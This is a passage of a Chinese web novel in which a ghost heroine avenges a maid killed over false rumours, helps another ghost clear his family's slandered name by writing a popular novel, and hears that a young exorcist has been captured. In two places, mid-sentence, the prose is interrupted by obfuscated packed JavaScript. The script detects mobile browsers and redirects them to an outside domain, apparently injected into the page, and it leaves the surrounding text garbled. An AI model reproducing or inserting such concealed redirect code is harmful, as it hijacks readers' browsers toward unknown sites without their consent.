原来阿九最爱的“食物”,是喜欢造谣的舌头。 方才若是被他吻上去了,那丫鬟的舌头可就保不住了。 “抱歉打扰……告辞!” 也不知该如何解释,趁着丫鬟们还没从震惊中缓过神来,夏月明和诅咒急忙拖着阿九就走。 阿九一边挣扎,一边还不甘心地喊着:“好美味的舌头,让我吃,让我吃……” …… 被拖到离宁府三百多米远后,阿九的瞳色才逐渐由紫转黑,恢复了理智。 他气呼呼地质问夏月明:“为什么拦我?这么会造谣的舌头可不多见!” 夏月明道:“有损功德。” 阿九气笑了:“你攒你的功德,管我干嘛?我又没要攒功德!” 夏月明诚实道:“纵容恶事发生,会掉我的功德。” 阿九:…… 一时无语,他忽而恶从心生,邪气地笑着逼近了夏月明:“不让我吃她的,那就用你的补偿吧。” 他本意只是想吓唬一下她,好欣赏她惊慌失措的样子,未曾想刚一靠近,一团青色的火焰就狠狠地砸在了他的后脑勺上。 又烫又疼。 阿九愤然转头,就看到小白比他还要愤怒的脸。 他双手燃起巨大的青色火焰,一脸杀气地朝着阿九冲了过来。 阿九丝毫不慌,轻挥衣袖,袖口便飞出数百只金色乌鸦,将小白包裹了起来。 寻常鬼魂被这样束缚,都会行动受限,先顾着挣脱乌鸦。 但小白却不挣扎,一双桃眼怒视着阿九,完全是不要命一般地释放法力,不消半分钟就将乌鸦烧成了金粉,继续冲向阿九。 阿九两眼放光,惊叹道:“果真是极品!” 在小白的拳头距离他的鼻子只剩不到两厘米的距离时,夏月明及时拦住了小白。 一番耐心劝解后,小白终于稍微平息了怒火,却是死活看阿九不顺眼了。 “没意思,太没意思了。” 眼见闹剧收场,阿九打了个呵欠,化作一群金鸦翩然离去。 次日夜间,夏月明再次来到镇内寻找游魂时,听见满街都在传言——宁府那个因为貌美而被造谣的丫鬟,被夫人活活打死了。 夏月明带着小白再去宁府,便见那丫鬟的鬼魂在府中四处飘荡,嘴里不断凄厉哭喊:“好疼,好疼啊……” 34. 谣言止于治者 小白摆起架势准备捉鬼,夏月明却道:“先不急。” 那丫鬟因夫人信了府中传言而被活活打死,死得着实冤枉,见她暂无伤人意图,夏月明决定给她些时间释放怨气。 第二天一早,宁夫人就派人四处找起了捉鬼大师。 因先前梦香楼鬼婴一事在暗中传播甚广,夏月明自然而然成了宁府的头号选择。 宁府小厮去向梦香楼老鸨打听夏月明的住址,没安好心的老鸨将毕宿宫的地址给了那小厮。 自从去过那地方以后,她就被邪气粘上了,搬哪儿哪儿闹鬼,晦气得很。她正想有人也去触触霉头,好分走自己的晦气呢。 小厮却不知老鸨的狠毒心思,问到地址便快马加鞭赶去了鬼山,在黄昏时分敲响了毕宿宫大门。 抱头鬼见敲门的是人,本不想理睬,但那小厮却很有礼貌,并未因为大门开着就直接进入,而是恭敬地在门外,禀明了来意。 “小弟是宁府家丁,奉夫人之命,来请林师父和白公子到府一叙,不知府内可有朋友能帮忙通传一声?小弟感激不尽。” “林师父?白公子?”这称呼熟悉又陌生,抱头鬼思索了半天才恍然反应过来:“林……副宫主和白护法?” 抱头鬼知道副宫主在外面还忙着一些别的业务,怕耽误了她的事儿,便破例问了门外的人一声:“你找他们做什么?” 小厮诚恳道:“实不相瞒,小弟想请他们到府上抓鬼。” 抱头鬼心里咯噔了一下。 已知副宫主和白护法都是鬼,那么请他们去府上抓鬼,不就等于是要抓他们吗? 这赤裸裸的挑衅令抱头鬼如临大敌,心中暗叹:“好歹毒的说法,他这分明是想瓮中捉鳖啊!幸好我聪明一下子就识破了。” 只是此人看着平平无奇,竟然敢打副宫主的主意,别是另有埋伏。 当下他大气也不敢喘一个,摘下一只眼睛和一只耳朵放在门口,急匆匆就去落林院报信儿了。 夏月明本就打算夜里去帮宁府抓鬼,一听对方竟然找上门来了,顿时眼前一亮,看到了商机。 “小白,你说这次开多少价合适呢?” 抱头鬼抱着头挠了挠,不懂她说的“开价”是什么意思。 小白笑着道:“看那宁府财力不弱,自然不能比梦香楼要得少。” 夏月明想了想,不舍道:“是啊,难得遇到大户人家。但我们做生意不能看碟子下菜,得明码标价才能走得长远……要不就一百两吧,你觉得怎么样?” “有远见,甚好。” 说完两只鬼就匆匆朝着宫外走去。 抱头鬼一路小跑追上他们,慌张追问:“副宫主,宫外有人要抓你们啊!怎么你们好像一点儿也不着急,还在这儿讨论钱的事?都这时候了,要一百两干嘛啊?” 夏月明和小白神秘地笑着,异口同声答道:“抓鬼。” “啊?”抱头鬼更是懵了,“是我疯了,还是你们疯了啊?” …… 深夜,夏月明与小白在小厮的带领下进入宁府,见到了宁府主母——宁夫人。 其人约莫四十来岁,穿着华贵,保养得当,一言一行也十分得体。 夏月明心虚地开出价格之后,宁夫人竟没有同她讨价还价,神色疲倦地一口应下,随即就吩咐下人去点钱了。 子时未过,女鬼幽怨的哀嚎声在宅内响起。 “好疼,好疼啊……” 夏月明和小白循声来到丫鬟们居住的偏房外,便看到一个满身是血的女鬼绕着房间飘来飘去。 她高声唤出女鬼名字:“陶冉。” 女鬼闻声回头,原本貌美白皙的脸上,竟布满了触目惊心的刀口。 夏月明倒吸一口冷气,感觉心被揪了一下。 她只是看着都觉得痛入骨髓,可想而知这丫头死的时候,该有多绝望、多痛苦。 可她就算化为了厉鬼,却也只是不甘地控诉着自己所受的伤,没有真正地报复任何一个伤害她的人。 夏月明突然就不想挣这份钱了。 让行恶之人因所犯罪孽而恐惧,也是一种该有的因果。 可她又不能真的纵容陶冉继续留在宁府,因为这样下去只会不断损耗她的功德,影响她来世的气运。 她无奈地叹了口气,这世间的法条和规则,为何不能除尽恶人,反总束缚着好人。 但她亦知自己不该太情绪化,深呼吸调整了下心态,柔声问起陶冉心愿。 陶冉疑惑歪头:“你是谁?没见过。” 脸上的伤似乎令她不便说话,夏月明便详细地同她解释了自己的来意。 “道士?鬼?轮回?” “嗯,我和你一样。我知道这里有些人实在可恨,但我不希望你因为他们影响了轮回。” “你为、我好?” “嗯。告诉我,你的心愿。” 陶冉眼眶发红,淌下两行血泪:“我要、清白。” 夏月明鼻头一酸,瓮声应道:“好。” 陶冉的心愿不算难,只要告知宁夫人,让她帮忙澄清便可。 但根据夏月明以往的经验,这样轻飘飘的辟谣很难覆盖到谣言传播的每一个角落。 而且当事人就算当下承认了受害者的清白,也只是为了自保而已,待风波平息,他们的口风很容易转回对自己有利的方向。 她想要彻彻底底,击碎那些伤害了陶冉的谣言,并让每一个当事人都付出代价、再也无法改口,就必须搞波大的。 象征性地画了一些没用的符咒贴在宁府之后,夏月明让小白教陶冉隐了身。 她回到主院,对宁夫人道:“我已暂时控制住了陶冉的魂,但她怨念太深,要完全制服,需要曾与她有过亲密行为的人为他剃度,吃斋念经一整个月才行。” “亲密关系?” “嗯,就是你理解的那种。” 宁夫人的表情先是一阵为难,随后露出破罐子破摔的愤怒,派人去找来了她的丈夫和儿子。 家丁去找人的路上,有好事的下人便打听开了,眼见老爷和少爷进了正厅,下人们再也无心工作,恨不得自己有一双顺风耳,可以听到主人家的丑事。 但宁老爷和宁少爷一听宁夫人请他们来的原因后,竟是一脸震惊无语。 宁老爷气得满脸通红:“这是谁造的谣!!!慢说和她……做那苟且之事了,我平日和她话都不曾说一句啊!咳咳咳……” 老爷子一把年纪莫名被戴了顶为老不尊的帽子,气得肺都要咳出来了。 那宁少爷也是满脸通红地辩白了一番,但他脸红是因为羞惭和委屈,他确实曾想要对陶冉不轨,但陶冉宁死不屈,他吃瘪了两次后便暂且收起了猥琐的心思。 “我我我,我明明没吃到呢,哪个贱蹄子胡乱说话……” 夏月明厌恶地白了宁少爷一眼,冷漠地问宁夫人道:“看来你的丈夫和儿子都不承认有这回事,那么你到底从哪儿听来的,竟然也不求证一下,就活活打死了一个 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宁夫人看着这帮下人,气得直喘气,夏月明淡淡道:“夫人也要去。” “我?我也得去吗?” “当然。好好一个人就那样变成了厉鬼,没你可不行啊。” 知道她在嘲讽自己,宁夫人悻悻应下,在下人的搀扶下朝着佛堂行去。 宁少爷本想偷偷溜走,也被夏月明冷声叫住了:“现在不去,以后陶冉的鬼魂可就光找你一个了。” 吓得他一哆嗦,屁滚尿流也朝佛堂赶去。 待所有参与了事件的人都在佛堂跪定之后,夏月明微微一笑,关门放鬼。 陶冉的鬼魂在佛堂内现身,众人想逃才发现门锁得死死的,根本逃不掉。 宁家佛堂传来阵阵哀嚎惨叫,直冲云霄。 叫得最惨的,正是最开始造谣的那个丫鬟。 半个时辰后,夏月明打开了佛堂的门。 房间内的人身上虽无半点损伤,但各个都被吓得如丢了魂一般瘫坐在地。 陶冉走到夏月明身侧,微笑点头,示意自己心愿已了。 夏月明回她一个微笑,而后对堂内众人冷声道:“刚才你们所体验的恐惧和绝望,不足陶冉死前的万分之一。当时她也很想找到一个出口逃走,可你们这些造谣的、打人的、自尊为主的人,没有一个肯给她机会。” 一番话说中了陶冉心里最难过的地方,她捂住嘴巴,无声痛哭。 在场众人皆低头不言,夏月明不知道他们当中有几个是在真心忏悔。她停顿一瞬,递给陶冉一张手帕,继续道:“我知道谣言不止在宁府传播,若你们还曾给旁人说过这些事,那就把今天发生的事也原原本本告诉那些人,不然陶冉死不瞑目再去纠缠,就未必有这么好解决了。” 众人急忙连声应是。 夏月明带着陶冉鬼魂离开佛堂,身后众人皆松了口气。 但她没走两步,却又扭头,微笑着对宁夫人道:“夫人不送送我们吗?” “啊?” 见她虽是笑着,眼底却冰冷得没有一丝笑意,刚松了口气的宁夫人忍不住打了个寒颤,心里莫名慌乱起来,随便找了个借口心虚道:“我身子突然很不舒服……小兰,代我送客。” 夏月明眉头一皱,看向陶冉:“夫人好像很没有诚意呢,陶冉,我看她是舍不得你走。” 35. 九成人不知道的豪门秘史 陶冉意会,笑吟吟地看向宁夫人,道:“那……陶冉就不走了?” 宁夫人神色一滞,急忙干笑两声道:“那还是我来送吧。” 夏月明有意让她尴尬,故意追问了句:“别呀,夫人身体不是不舒服吗?” 宁夫人嘴角抽搐,咬着牙道:“不妨事,不妨事。” 夏月明嘿嘿一笑,真是医学奇迹呀。 宁夫人刚把几只鬼送到门口,早已候在门外的六名捕快就匆匆上前,围住了她。 带头的用火把一照,确认没抓错人,高声喊道:“拿下!” 宁夫人惊慌挣扎,又是威胁又是喊老爷。 宁老爷闻声匆匆跑来,忙给那捕头塞银子求情。 捕头却为难道:“要是往常还好,但这个案子,我家大人特地交代,不能留情。” “啊?” 在宁家父子茫然又无奈的目光中,哭天喊地的宁夫人被一众捕快押回了衙门。 宁少爷愤然不解:“官府的人怎么会来呢?” 夏月明与小白对视一眼,默契地垂眸浅笑起来。 不久前,小白刚去拿衙门拜访了一趟,故技重施,扮做县令的老祖宗,勒令要他秉公执法,不然就是不仁不义不敬不孝,吓得那县令连夜从床上爬起来开始加班。 告别宁家人后,夏月明带陶冉朝毕宿宫走去。 虽然陶冉在宁府积攒的罪孽不多,但对来世投胎的气运多少也有些影响,她打算让她先攒攒功德,把那点儿罪孽清零了再去投个好胎。 三只鬼未走多远,便见街道尽头有一紫色身影正靠墙站着,见他们走近了,那身影抬起头来,开口道:“真是精彩呀。” 夏月明惊声唤道:“阿九?” 阿九对她眯起眼来,笑着道:“可以请你帮我也辟个谣吗?轮回也好,打工也罢,我都听你的。” 眼前身影与夏月明记忆中那个邪气神秘的阿九判若两鬼,夏月明探究良久,见他不像是在捉弄自己,便道:“如果这是你的执念的话,当然没问题。” 听她应下了,阿九如释重负般松了松肩膀。 夏月明这才注意到,他刚才拜托自己时,整个身体都僵硬得微微颤抖,像是非常紧张的样子。 看来他被这个执念折磨已久,久到成了无法挣脱的负担。 夏月明放下戒备,柔声道:“可以跟我讲讲你想要辟什么谣吗?” “嗯。”阿九眼中常有的轻佻消失不见,取而代之的是难以释怀的怅然。 他听到宁府小厮来请夏月明捉鬼,颇觉有趣便跟来偷听,正好听到她为那含冤而死的丫鬟正名的一番话。 于是他想,几十年来他用尽一切办法也做不到的那件事,或许,她可以。 他认认真真地回忆起了自己总想甩掉的过往,一字一句地讲给夏月明听。 他本名叫聆九言,是京城大官家的公子哥,生性不羁,爱凑热闹,经常与城里其他富家公子四处鬼混,又同许多富家小姐眉来眼去。 自诩万花丛中过,片叶不沾身。 这样的性格,终于给他招来了祸端。 曾被人起哄说与他般配的一位小姐,竟真心地爱上了他。不想耽误那小姐,亦不想耽误自己,他婉拒几次不管用后,便有意与那小姐保持起了距离。 谁知那小姐为了刺激他,证明他在意自己,竟故意与一群不入流的公子鬼混起来。 他本赌气说不会管她,却越想越觉得担心。赶过去找那小姐时为时已晚,那小姐正衣衫凌乱地躺在地上,而那群混账早已不见踪影。 他知小姐被人玷污,内心愧疚不已,二话不说为她买了身新衣换上,守口如瓶送她回家。 几个月后,小姐被诊出喜脉,怕被父母责打,便谎称孩子是阿九的。 小姐的父亲亲自去找阿九算账,逼他负起责任来,一番闹腾,满城皆知。 他素来名声不好,百口莫辩,又恨被人算计,更是不肯娶那小姐。 那小姐的兄长在朝为将,听闻此事立刻回京,欲上殿前参他一本。 他爹得此消息,为了保住他的前程,派人四处散播谣言,说那小姐本性风流,最爱鬼混,孩子还不知是谁的,逼得那小姐受不了折辱,投湖自尽了。 小姐自尽后,她的兄长悲痛欲绝,直接不管不顾地挥枪闯入他家,将聆家五十三口人全部虐杀致死,而后自请死罪,得了个忠义护亲的英雄名声。 有英雄,就定然有烘托英雄的小人。在后续传播的故事中,聆家人就是那小人。 以至于聆家满门功绩,全被这一件事抹除了。无论与这件事有没有关系,知不知情,但凡在聆家族谱上的人,死后都是一身骂名,直到现在。 为平息谣言,化为厉鬼的阿九拔了很多传谣者的舌头,却怎么也无法止住谣言,在他偏执到快入魔之际,轩辕泓出手救了他,将他带离了那是非地。 可他的心却再没有一刻宁定过。每每静下来时,都会听到四面八方传来的各种谣言,一听到谣言就会陷入癫狂之中,必须夺掉造谣者的舌头才可罢休。 自证清白已成了他无法了却得执念。 夏月明听罢无奈叹气,这故事中明明有那么多可以不必造成悲剧的环节,却硬生生因为一些私念与“以恶小而为之”,莫名走向了不可挽回的结局。 就算如今破了所有谣言,也无法抵消这过于沉重的代价。 她深吸了口气,对阿九道:“你从前的家在哪里?” 阿九道:“步行过去需要三天三夜,我有法器可在一个时辰内到达,但只能乘坐两人。” 他说罢装作不经意地看向了小白。小白顿时惊慌起来,瞪大桃花眼无声地威胁着阿九:“看我干嘛?快转过去!” 但他最终也只能是一怒之下怒了一下,乖乖送陶冉先回了毕宿宫。 小白离开后,阿九变出一个滑翔翼般的法器来,带着夏月明乘风而飞,很快就抵达了他的故乡。 这神奇的交通方式令夏月明新奇不已,落地后都还有些意犹未尽。 阿九看出她的心思,笑着承诺以后还会再带她飞。 夏月明想趁夜多了解一些当年内情,阿九便带她随机进了一家书店,没成想刚翻开的第一个画本子讲的就是当年之事,但内容与阿九所讲完全不同,书中的聆家公子肥头大耳、丑陋至极,仗着自己的大奸臣父亲位高权重,奸淫掳掠无恶不作,但他这次踢到了硬骨头……终于被就地正法,大快人心。 她看完一时不知该如何评价。 作者的笔力倒是很好,若不是现实中阿九的容貌与书中相差甚远,她差点儿就要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866760|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代入故事中的情绪了。 又随手翻看了几本提及此事的书,所写内容大差不差,只是细节上各有发挥。 她正思索要如何帮阿九辟谣,便见他面容逐渐狰狞起来,瞳色也慢慢由黑转紫,周身散发着恐怖邪气。 知他快要发狂,情急之下夏月明挥手甩了他一巴掌。 这物理镇定剂果然好用,阿九的面容瞬间恢复了正常。 夏月明急忙给他做起心理疏导:“这件事已经过去七十多年了,对写书的人来说就是历史,他们无法查证当时的具体情况,只能从流传下来的只言片语来推测真相。某种程度上来说,也算是被先人骗了吧,这一点无从责备。” 阿九面色凄然,冷笑一声道:“他们将不经考证的东西著书传播是无可厚非,那我们一家就活该永远背负这样的恶名吗?” “当然不是。”夏月明目光诚挚,看着阿九的眼睛认真道:“但辟谣要讲究方法,一味捂嘴只会适得其反。” 她说的不无道理,阿九无奈叹气,反问道:“你有什么方法?” 夏月明双眸一亮,微笑道:“俗话说得好,要用魔法打败魔法。” “魔法?” “既然谣言已成传说,那么我们就用传说来打败传说。我们把当年发生的事也写成故事来传播吧!” “我不是没想过这个办法。但用真相写成的故事,根本没有人看,也没有书店愿意卖。” “这是自然,人们肯定更喜欢看有戏剧性的故事,所以就需要艺术加工嘛。” 夏月明跟阿九举了几个现代媒体博眼球、赚流量的案例,阿九听完好像懂了一些。 她道:“你听过那么多八卦,什么样的消息更有趣、更让人愿意传播,应该难不倒你吧?” 阿九思索片刻,认真道:“我试试。” 天快亮时,两只鬼在不远处的客栈找了间空房,穿墙而入开始加班。 阿九以耳贴地,将城内热点事件尽收耳中,提取出其中的关键词,按照夏月明讲解的蹭热点思路和一些新媒体文的套路,把这些关键词融入了自己的故事中,加工成了一篇跌宕起伏又不过时的爽文。 连夏月明看了都直呼精彩。 担心书中内容会有对那位小姐不好的导向,夏月明还特地检查了一下,结果发现阿九就算曾被其陷害,也没有在书中对那位小姐进行任何有失客观的情绪化描述,甚至未提小姐失身怀孕之事,从根源上杜绝了后人对这位小姐的议论。 她心中感动,忍不住对阿九欣慰一笑,赞赏道:“你是个好人。” 阿九愣了下,随即笑道:“我早就不是人了。” 夏月明道:“以前是好人,现在是好鬼。” 阿九摇头,苦笑了两声没再回应。 他做人的时候荒腔走板,做鬼也没少作恶,生前死后,都与“好”字沾不了边。 但他亦知夏月明不是为了敷衍他才这样说的,心中对她存了几分感激。 “万事俱备,只差一个勾人的书名了。” 两只鬼一阵头脑风暴,在「九成人不知道的豪门秘史」和「重生之大舅哥再爱我一次」中犹豫不决,最后决定两个都用。 一个作为民间流传版的八卦标题,一个作为长久发售的话本书名。 齐了! 36. 上古神器 入夜,两只鬼找了家印刷铺,先将简短版的内容印了出来。 最后一句是:“那公子哥临死前将所有财宝都埋在了一个地方,宝藏线索就在一本名为《重生之大舅哥再爱我一次》的书中。” 随后他们将这页内容随机装订在了城中各个书店的话本子末页,只等人来求购《重生之大舅哥再爱我一次》这本书。 这本书内容很多,但印刷店人力有限,需过些时日才能印好,算是提前先进行了一波预热。 七日后,满城书店都在打听这本《重生之大舅哥再爱我一次》何时上架,夏月明和阿九化作人形,带着热乎乎的新书,开始与各家书店商谈起销售合同。 因为书的热度很高,合同谈起来非常顺利。有的书店听说他们限额售卖是因为印刷太慢,还特地给他们推荐了印书产能更大的专业书庄。 一条简单的产业链就跑起来了。 尔后夏月明花钱雇了些人,在各大酒楼传播新书发售的时间。 到了那天,城内八卦的、贪财的、凑热闹的人纷纷涌入各大书店,将本就印得不多的第一批书抢购一空。 夏月明笑着对阿九道:“这算不算万人空巷呢?” 最开始的热销有营销的助力,往后的热度就只能靠书本的内容维持了。 幸而书的内容也着实给力。 多数读者原本只是因听这书名荒诞古怪,想看看书里到底写的什么,但没看两页,就彻底陷进去了。 这种推翻已有常识,且让人可以从原有历史中捕风捉影的故事,本就有着天然的吸引力和传播力。 加上对这个时代来说还很新奇的“重生”设定,以及爽文特有的勾人节奏带给这一世界读者的震撼,效果远超夏月明的预期。 读者当中甚至出现了一些自发组织的考究党,研究起了其中所写的历史真相。 相信按照这个架势走下去,融化谣言就只是时间问题了。 除此之外,《大舅哥》还帮他们赚到了一笔丰厚的版权费。 夏月明很庆幸自己坚持让阿九把笔名写在了书封上。 当时她问阿九想取什么笔名,阿九思索片刻后说了个:“莫言。” 她当即就竖起了大拇指:“牛啊,这两个字一加,整本书的气质都提升了不少,就是不知道算不算侵权。” 阿九不知她为何突然兴奋,缓缓提笔写下了自己的笔名:“墨言。” 夏月明一看才知自己想错了字,讪讪地干笑两声,又认真品味起了这两个字,诚恳道:“墨言,以墨为言,也是好名字。” 阿九莞尔。 因是阿九主笔,自己只能算策划,夏月明便提议自己和阿九三七分成。 阿九不在意地摇了摇头,道:“都给你吧,我对钱不感兴趣。” 夏月明非常感动,上一次听到这句话,还是在自己的世界。 知道钱确实对阿九没什么用,她也不推辞,直接提议道:“那这笔钱,就当做你入股我们公司的投资啦,我可以让你做……宣传部部长,怎么样?” 阿九想都没想,就无情拒绝道:“不要。” “为什么?当领导得到的功德会多一些诶!” “我要功德做什么?” “当然是为了来世仍走人间道啊。” 阿九轻声一笑,道:“来世是来世,今生是今生,我管他走什么道。” 夏月明一时哑然,某种意义上来看,他这么说倒也没毛病。 “不过……”阿九凤眼含光,微笑着看向夏月明,柔声又道:“你帮我了却了执念,若这是你的期待,我便试着去做吧。” “嗯!”夏月明心头狂喜,面上绽开璀璨笑意,欣然道:“欢迎九长老加入蔓月没有限公司。” 阿九笑眼盈盈,嫌弃道:“好难听的名字。” 夏月明笑容凝固:“也没有特别难听吧……” 阿九:“怎么声音变小了?你自己也没底气说好听吧?” …… 二人吵吵嚷嚷,乘着法器飞回了毕宿宫。 尔后几天,小白的心情都不大好。 连看到菜园里的茄子,都会莫名生气。 “臭茄子精,天天缠着主人!看我把你们都吃光!!” 吃完肚子撑得要命,又想起这是无辜百姓的菜园,怕主人怪罪,忙把身上所有的银子都留下了。 一番发泄后,反而更难受了。 …… 阿九心愿完成后的第四天,毕宿宫的另一位长老也来找夏月明了。 “自从九哥哥和蔓姥姥出宫办事回来后,我感觉他就变得快乐了起来。蔓姥姥,我也想要快乐。” 夏月明拿着小草第一次填写的心愿问卷,汗颜道:“小草啊,不是我不想帮你,只是你的心愿着实有点多……” 小草急忙摇头:“蔓姥姥,其实我只有一个心愿,我想和我姥姥好好地说声再见。” “你的姥姥?” “嗯……若她还活着,也有九十多岁了,我本不想麻烦你,可我担心再往后拖,她……她……” 小草说着便伤心地哭了起来,夏月明走到他跟前蹲下神来,微笑道:“好,我帮你找姥姥,请把你能想起来的关于她的事情全都告诉我。” “嗯!”哭到一半的小草立马高兴起来,一不留神,鼻子里吹出一个大鼻涕泡来。 鼻涕泡炸了他一脸,怕蔓姥姥嫌弃自己,他下意识便羞怯的朝后退去。 夏月明却一点儿也不生气,笑着拿出一块手帕来,轻轻地帮他擦掉了脸上的鼻涕,柔声道:“不着急,慢慢说。” “嗯!” 小草稍微思考了一下,同夏月明讲起了自己被舅舅卖给人贩子的事。 因为当时年幼,加上时间久远,他并不记得姥姥家是在哪个城市了,只知自己跟着人贩子坐车奔波了四天四夜,才到了永安城郊。 人贩子将他送到一座气派宅院,说他以后就是屋主的儿子了。 他后来才知,那屋主是个告病还乡的老太监。 他被那老太监活活折磨死了,又亲手为自己报了仇。 在场众鬼听罢心情都沉重了起来,阿九忍不住摸了摸小草的脑袋,虽与小草认识很久了,但他也是第一次听他提起这段过往。 小草却并没有对这段过往流露出太多情绪。与之相比,更令他难过的是,他离开家的那天,同往常贪玩溜出去的每一天一样,也许姥姥至今都还拿着鸡毛掸子在门口等他回家。 夏月明克制住伤感的情绪,认真从小草所讲的内容中提炼起有用的信息。 “从小草家到永安城,要四天四夜的时间,你们知道永安城在哪里吗?” 阿九道:“离这里不远,我房中有地图,我先去拿来。” “嗯,辛苦。” 趁阿九去拿地图的时间,夏月明又问了小草一些关于在姥姥家的生活细节,推测他是官宦世家,家里或有不低的爵位承袭…… 尚未分析完,便听见屋外传来抱头鬼的惊声呼喊。 他着急忙慌跑进屋里,还被门槛绊了一跤,脑袋和五官散落一地。 小婵帮他捡起五官,无奈道:“什么事这么着急啊?” 抱头鬼颤抖着嘴巴,哆哆嗦嗦挤出了一句完整的话:“鸡、鸡、缉灵司的道道道士在门口,说要求见副宫主!” “缉灵司?”夏月明脑海中瞬间浮现出刚穿越过来时,见过的那三名少年的模样,同小草道了声:“稍等我一下。”便匆匆赶去了宫门外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866761|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她记得先前分开时,她拜托那三位少年帮忙给他们的上司传话,说自己愿意做他的使灵,难道他们这就来给自己发offer了? 夏月明心中颇感为难,她该怎么告诉他们,她已经找到了更适合自己的工作了呢? 不过很快她就知道自己是自作多情了,那三名少年压根还没跟上司汇报她的事。 这次来找她的只有那位名唤“阿浅”的少女,和容貌绝尘的少年宁渊,负责当“逗哏”的李灵恪并没有来。 两位少年脸上身上都沾满了血迹,像是刚刚经历过一场剧烈的打斗,模样甚是狼狈。 阿浅一看到夏月明,立刻便跪下请求道:“求前辈帮忙救救灵恪!” 宁渊也在她身后一同跪下,严肃拱手。 夏月明忙将阿浅扶了起来,“你们快起来,发生什么事了?” 阿浅哭着道:“她被千魔窟的魔神洞主抓住了。” 夏月明心道:“好中二的名字。” 但在这个世界,名字的中二程度往往和能力是成正比的,当下她也不敢懈怠,认真问道:“具体说说,到底怎么被抓的,这个洞主又是什么来历?” “事情要从我们和你的那次交手开始说起……” 那是他们小队的第一个任务,万万没想到做了那么充分的准备却还是失败了。李灵恪很不甘心,决定在规定期限到来之前,主动将功补过。 他打听到千魔窟洞主刚得到一件厉害的上古神器,正在四处寻找厉害的法师破解神器机关,便趁夜写下告别信,独自去了千魔窟。 他在信上说:“听说人在极端情况下会爆发出不一样的潜力,若能破解神器机关,我们三人都可免去惩罚;若破解不了,我也不配再做机关师了,你们可将罪责都推在我身上,请闵大人帮你们找一位更厉害的新伙伴。” 宁渊见信后立刻同阿浅去救人,却非但连洞门都没踏入,还被洞外守灵打了个半死。 绝望之下,他想起了夏月明。 那个轻轻松松就破解了李灵恪阵法的女鬼。 若她愿意出手,便可以破解法器为由求见洞主,救出灵恪。 少年眼眶微红,绝望而诚恳地望着夏月明。 她恍惚间竟觉得这张脸有几分亲切感,似与她记忆中的某张面孔重合了起来。 摇摇头打消杂念,她遗憾地叹了口气,沉声道:“不是我不想帮你们,但你们的那个伙伴实力并不比我弱,连他都无法破解的法器,我也未必会有把握;如果破解不了……你们有办法把我俩都救出去吗?还是说再去求别人救我们呢?要不你们直接上报组织吧,看看他们有没有办法救人。” 两位少年皆是沉默了。 片刻后,宁渊尴尬地道了声歉,二人一同告辞要走。 未走两步,夏月明又不忍心地唤了声:“等一下。” 二人止步转头,夏月明道:“那个什么千魔窟的上古神器,你们知道长什么样子吗?若是我曾见过的话,可以告诉你们破解方法,你们自行去救人。” 李灵恪视作绝招的法阵,只是她爷爷笔记上的初级阵法。所以她想,既然这两个世界的术法是有联通的,且自己原来的世界明显更加先进一些,那或许此刻难住魔窟洞主和众多法师的那个神器,在自己原来的世界里,也只是再寻常不过的一件道具呢? 阿浅听罢欣喜地看了宁渊一眼,宁渊立刻从旁捡起一根树枝,蹲在地上画了起来。 “是我们从未见过的样子,像是黑色的盒子。”、 宁渊画工很好,很快地面上就清晰地呈现出了那件上古神器的轮廓。 只是……这东西怎么这么眼熟呢? 夏月明眉头一皱,难以置信的喃喃道:“抓鬼相机?” 37. 抓鬼相机 千魔窟,副神殿外。 被青山围绕的大地上植被茂密、小河流淌,其间散落着几间茅草屋,如被圈起来的大型生态园一般,此地名为恶鬼圈(juan4)。 三名快与房屋一般高的恶鬼在河边龇牙咧嘴、流着口水怒目而视,都想将对面两只撕碎吃掉,却都怕先动手漏了破绽,只好就这样剑拔弩张地僵持着。 这时圈外传来沉闷的脚步声,三名恶鬼眼睛一亮,如等待投喂的猪仔一般,手脚并用冲到了圈门口。 圈门是架在青山间的两扇巨大石门,石门上爬满了粗壮的藤蔓。 半扇石门被推开后,一名个头比恶鬼们还要高的壮汉扛着一个巨大的麻袋走进门来,他将麻袋往地上一扔,二十三名服装各异的修士便被倒了出来。 恶鬼们眼冒红光,直咽口水,却谁也不敢贸然动手,乖乖地站成一排,等待壮汉吩咐。 被倒出来的人看清形势后,吓得直往后缩,那壮汉冷漠地垂眸看了一眼,道:“数一百下,开饭。” 留下这句话后,他头也不回地转身离开了。 石门一关,三名恶鬼立刻忍住饥饿,乖乖地数起数来,看样子他们不是第一次这样做了。 散落在地的人群却显然是第一次经历这样的事,害怕又茫然地等恶鬼们数到二十七,才陆续反应过来他们可能是要和自己玩捉迷藏,惊慌之下慌不择路地去找隐蔽的地方。 恶鬼数到一百后,默契地深吸一口气,一同朝着茅草屋吹去。 覆盖在房屋上的茅草如遇风的蒲公英般四散飘零,藏在里面瑟瑟发动的修士们全部暴露了出来。 随后恶鬼又伸出利爪尖牙,将身旁树木啃倒一片,藏在树林里的人也全暴露了。 众人举目四顾,周围皆是平地,这nm还怎么玩啊! 三名恶鬼搓搓爪子,挑肥拣瘦,开启了自助餐模式。 修士们四散逃窜,抓了半辈子鬼,第一次尝到被鬼抓的滋味。 一场捉迷藏硬生生被玩成了猫捉老鼠。 李灵恪也是众多老鼠中的一只。 自命不凡的他同在场众多同行一样,因未能破解上古神器之谜,而成为了恶鬼的食物。 